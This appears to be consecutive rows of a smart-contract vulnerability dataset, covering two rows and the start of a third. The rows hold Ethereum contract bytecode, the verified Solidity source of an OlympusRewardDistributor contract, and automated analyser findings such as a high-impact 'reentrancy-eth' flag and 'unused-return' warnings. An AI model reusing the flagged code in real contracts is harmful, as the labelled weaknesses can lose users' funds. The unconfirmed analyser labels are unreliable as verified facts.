ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d8561ee1aad8064624367bfbfafa65bcafcbb4a461da34fb25c0136113e9cb2664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,735
0x2ce62b196ea521c88d6cf884283cb0372f4a6cd1
/** *Submitted for verification at Etherscan.io on 2021-03-25 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.4; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IVault { function depositReserves( uint amount_ ) external returns ( bool ); } contract OlympusRewardDistributor { using SafeMath for uint; using SafeERC20 for IERC20; address public owner; address public vault; address public OHM; address public DAI; address public stakingContract; uint public nextEpochBlock; uint public blocksInEpoch; // reward rate is in hundreths i.e. 50 = 0.5% uint public rewardRate; bool public isInitialized; bool public notEnoughDAIToDistribute; constructor() { owner = msg.sender; } function initialize( uint _nextEpochBlock, uint _blocksInEpoch, uint _rewardRate, address _vault, address _stakingContract, address _OHM, address _DAI ) external returns ( bool ) { require( msg.sender == owner ); require( isInitialized == false ); nextEpochBlock = _nextEpochBlock; blocksInEpoch = _blocksInEpoch; rewardRate = _rewardRate; vault = _vault; stakingContract = _stakingContract; OHM = _OHM; DAI = _DAI; isInitialized = true; return true; } function distribute() external returns ( bool ) { if ( block.number >= nextEpochBlock ) { nextEpochBlock = nextEpochBlock.add( blocksInEpoch ); uint _amountDAI = IERC20( OHM ).totalSupply().mul( rewardRate ).mul( 1e9 ).div( 10000 ); if ( _amountDAI <= IERC20( DAI ).balanceOf( address( this ) ) ) { notEnoughDAIToDistribute = false; } else { notEnoughDAIToDistribute = true; } if ( !notEnoughDAIToDistribute ) { IERC20( DAI ).approve( vault, _amountDAI ); IVault( vault ).depositReserves( _amountDAI ); IERC20( OHM ).safeTransfer( stakingContract, IERC20( OHM ).balanceOf( address( this ) ) ); } } return true; } function setBlocksInEpoch( uint _blocksInEpoch ) external returns ( bool ) { require( msg.sender == owner); blocksInEpoch = _blocksInEpoch; return true; } // reward rate is in hundreths i.e. 50 = 0.5% function setRewardRate( uint _rewardRate ) external returns ( bool ) { require( msg.sender == owner ); rewardRate = _rewardRate; return true; } function transferOwnership( address _owner ) external returns ( bool ) { require( msg.sender == owner ); owner = _owner; return true; } function transferRemainingDAIOutIfNotEnough() external returns ( bool ) { require( msg.sender == owner, "Not owner" ); require( notEnoughDAIToDistribute, "Still enough DAI for next epoch" ); IERC20( DAI ).safeTransfer( msg.sender, IERC20( DAI ).balanceOf( address( this ) ) ); return true; } function getCurrentRewardForNextEpoch() external view returns ( uint ) { return IERC20( OHM ).totalSupply().mul( rewardRate ).div( 10000 ); } }
0x608060405234801561001057600080fd5b506004361061010a5760003560e01c8063b1e56b08116100a2578063e4fc6b6d11610071578063e4fc6b6d14610223578063ee99205c1461022b578063f1a9a73314610233578063f2fde38b1461023b578063fbfa77cf146102615761010a565b8063b1e56b08146101ee578063c4e34aba146101f6578063d3c6d9f6146101fe578063e0bab4c41461021b5761010a565b80637b0a47ee116100de5780637b0a47ee1461019d5780638da5cb5b146101a55780639e447fc6146101c9578063a6c41fec146101e65761010a565b8062640c2e1461010f5780630fc6540714610129578063310b9fcd1461018d578063392e53cd14610195575b600080fd5b610117610269565b60408051918252519081900360200190f35b610179600480360360e081101561013f57600080fd5b508035906020810135906040810135906001600160a01b036060820135811691608081013582169160a082013581169160c001351661026f565b604080519115158252519081900360200190f35b610179610304565b610179610442565b61011761044b565b6101ad610451565b604080516001600160a01b039092168252519081900360200190f35b610179600480360360208110156101df57600080fd5b5035610460565b6101ad610481565b610179610490565b61011761049e565b6101796004803603602081101561021457600080fd5b50356104a4565b6101ad6104c5565b6101796104d4565b6101ad6107e1565b6101176107f0565b6101796004803603602081101561025157600080fd5b50356001600160a01b0316610851565b6101ad61088e565b60055481565b600080546001600160a01b0316331461028757600080fd5b60085460ff161561029757600080fd5b50600587905560068690556007859055600180546001600160a01b038087166001600160a01b0319928316178355600480548783169084161790556002805486831690841617905560038054918516919092161790556008805460ff191682179055979650505050505050565b600080546001600160a01b03163314610350576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600854610100900460ff166103ac576040805162461bcd60e51b815260206004820152601f60248201527f5374696c6c20656e6f7567682044414920666f72206e6578742065706f636800604482015290519081900360640190fd5b600354604080516370a0823160e01b8152306004820152905161043c9233926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b1580156103fd57600080fd5b505afa158015610411573d6000803e3d6000fd5b505050506040513d602081101561042757600080fd5b50516003546001600160a01b0316919061089d565b50600190565b60085460ff1681565b60075481565b6000546001600160a01b031681565b600080546001600160a01b0316331461047857600080fd5b50600755600190565b6002546001600160a01b031681565b600854610100900460ff1681565b60065481565b600080546001600160a01b031633146104bc57600080fd5b50600655600190565b6003546001600160a01b031681565b6000600554431061043c576006546005546104ee916108f4565b6005819055506000610596612710610590633b9aca0061058a600754600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561055857600080fd5b505afa15801561056c573d6000803e3d6000fd5b505050506040513d602081101561058257600080fd5b505190610957565b90610957565b906109b0565b600354604080516370a0823160e01b815230600482015290519293506001600160a01b03909116916370a0823191602480820192602092909190829003018186803b1580156105e457600080fd5b505afa1580156105f8573d6000803e3d6000fd5b505050506040513d602081101561060e57600080fd5b50518111610626576008805461ff0019169055610636565b6008805461ff0019166101001790555b600854610100900460ff166107da576003546001546040805163095ea7b360e01b81526001600160a01b039283166004820152602481018590529051919092169163095ea7b39160448083019260209291908290030181600087803b15801561069e57600080fd5b505af11580156106b2573d6000803e3d6000fd5b505050506040513d60208110156106c857600080fd5b505060015460408051637750446f60e01b81526004810184905290516001600160a01b0390921691637750446f916024808201926020929091908290030181600087803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b505060048054600254604080516370a0823160e01b81523094810194909452516107da936001600160a01b0393841693909216916370a08231916024808301926020929190829003018186803b15801561079b57600080fd5b505afa1580156107af573d6000803e3d6000fd5b505050506040513d60208110156107c557600080fd5b50516002546001600160a01b0316919061089d565b5050600190565b6004546001600160a01b031681565b600061084c612710610590600754600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561055857600080fd5b905090565b600080546001600160a01b0316331461086957600080fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b6001546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526108ef9084906109f2565b505050565b60008282018381101561094e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b60008261096657506000610951565b8282028284828161097357fe5b041461094e5760405162461bcd60e51b8152600401808060200182810382526021815260200180610cd06021913960400191505060405180910390fd5b600061094e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610aa3565b6060610a47826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610b459092919063ffffffff16565b8051909150156108ef57808060200190516020811015610a6657600080fd5b50516108ef5760405162461bcd60e51b815260040180806020018281038252602a815260200180610cf1602a913960400191505060405180910390fd5b60008183610b2f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610af4578181015183820152602001610adc565b50505050905090810190601f168015610b215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610b3b57fe5b0495945050505050565b6060610b548484600085610b5c565b949350505050565b6060610b6785610cc9565b610bb8576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610bf75780518252601f199092019160209182019101610bd8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610c59576040519150601f19603f3d011682016040523d82523d6000602084013e610c5e565b606091505b50915091508115610c72579150610b549050565b805115610c825780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315610af4578181015183820152602001610adc565b3b15159056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122070e43054e552135dee356057dae220df68e0ed1e7cd95b353242f9b9c0f316ab64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,736
0x8c3da48d52a182c32cc4c35082376073ac68771d
/* ...................................................................................................................................................... ...................................................................................................................................................... ...................................................................................................................................................... .................................................................',;;;'.';;;,'........................................................................ .............................................................':ldxOO0k:.cxkkkkdoc;'................................................................... ...........................................................;ok00KKKKKO:.ckkkkO000Odc,................................................................. .........................................................;oO00KKKKKKKk:.ckkkkkO00K00kc'............................................................... ........................................................ck0KKKK0K00kdc,',codxkkO00KKK0d;.............................................................. .......................................................cOKKKKK0Odl:,',;,''',,:ldk0KKKK0x;............................................................. ......................................................;k00KK00x;..';;,'',;,''..'lOKKK000d'............................................................ ......................................................l00K0OOko'.'',,;,',;,'',,.:OKKKKKKk:............................................................ .....................................................'o000Okkko'',,;,'''',;:,,,.:OKKKKKKO:............................................................ ......................................................lO0Okkkko'.,,'':;,;,,;';;.:OKKKKKKk;............................................................ ......................................................;xOkkxoc,'';,',:;';,,;'',',coxO0K0o'............................................................ .......................................................;lc;,,;lddl:;,,'..'''';cooc:;;col,............................................................. .........................................................':oxO00KK0kdl;,;:lodkkkkkkdo:'............................................................... .........................................................'lO0KKKKKKKK00OO0OOOOOOOOOOkl'............................................................... ...........................................................;ok00KKKKKKKKKKKKK00000ko;................................................................. .............................................................,:oxkO00KKKKKKK0Okxo:,................................................................... .................................................................,;:clllllcc:;,....................................................................... ...................................................................................................................................................... ............',,;;;;;;;;,'.....',;;,..........',;;,....................',,'.....',;,;,,;;;,,,,,;;;;,'.....................',;,'..........,;;,'......... ..........;oxkOOOOOOOOOOkdc'..'cxOko,......':xOko;...,ll,.............lOOo'....:kOOOOOOOOOOOOOOOOOOl......,lc............,okOxc'......,okOxc'......... 